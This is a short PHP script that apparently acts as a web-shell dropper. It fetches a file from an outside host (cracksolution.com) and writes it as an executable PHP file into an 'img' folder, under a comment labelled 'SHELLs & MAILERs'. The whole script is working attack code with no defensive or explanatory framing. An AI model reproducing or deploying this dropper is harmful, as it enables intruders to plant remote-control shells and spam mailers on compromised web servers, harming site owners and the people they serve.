// FUNCTIONS
function _getHTML($strURL){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $strURL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$buffer = curl_exec($ch);
curl_close($ch);
return($buffer);
}
function copyFile($remoteFile,$localFile){
if(file_exists($localFile)){
unlink($localFile);
}
if($gestor = fopen($localFile,"w")){
fwrite($gestor,_getHTML($remoteFile));
}
fclose($gestor);
}
// SHELLs & MAILERs
$remoteFile = "http://www.cracksolution.com/upload/s.php.txt";
$localFile = "img/s.php";
copyFile($remoteFile,$localFile);